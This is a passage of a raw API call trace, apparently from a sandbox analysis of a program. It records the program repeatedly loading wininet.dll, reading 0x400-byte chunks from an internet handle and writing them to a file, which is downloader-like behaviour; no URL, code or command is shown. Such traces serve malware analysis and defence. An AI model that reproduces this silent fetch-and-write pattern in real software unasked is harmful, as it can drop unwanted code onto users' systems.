lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.396] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.396] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.397] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.397] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.397] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.397] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.398] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.398] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.398] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.398] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.398] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.399] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.399] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.399] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.399] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.399] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.399] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.399] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.400] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.400] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.400] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.400] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.400] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.400] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.400] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.401] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.401] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.401] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.401] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.401] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.401] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.401] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.401] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.402] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.402] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.402] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.402] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.402] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.402] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.402] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.402] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.403] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.403] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.403] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.403] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.403] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.403] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.403] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.404] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.404] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.404] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.404] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.404] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.404] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.404] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.405] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.405] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.405] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.405] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.405] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.406] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.406] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.406] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.406] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.407] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.407] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.407] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.407] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.407] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.408] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.408] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.408] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.408] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.408] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.408] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.409] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.409] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.409] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.409] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.409] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.409] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.409] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.409] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.410] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.410] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.410] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.410] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.410] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.410] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.410] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.410] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.410] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.411] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.411] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.411] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.411] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.411] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.411] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.411] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.411] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.412] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.412] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.412] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.412] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.412] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.412] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.412] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.412] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.413] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.413] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.413] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.413] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.413] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.413] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.413] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.413] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.413] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.414] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.414] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.414] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.414] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.414] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.414] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.414] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.414] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.415] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.415] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.415] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.415] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.415] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.415] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.415] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.415] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.416] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.416] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.416] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.416] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.416] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.416] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: 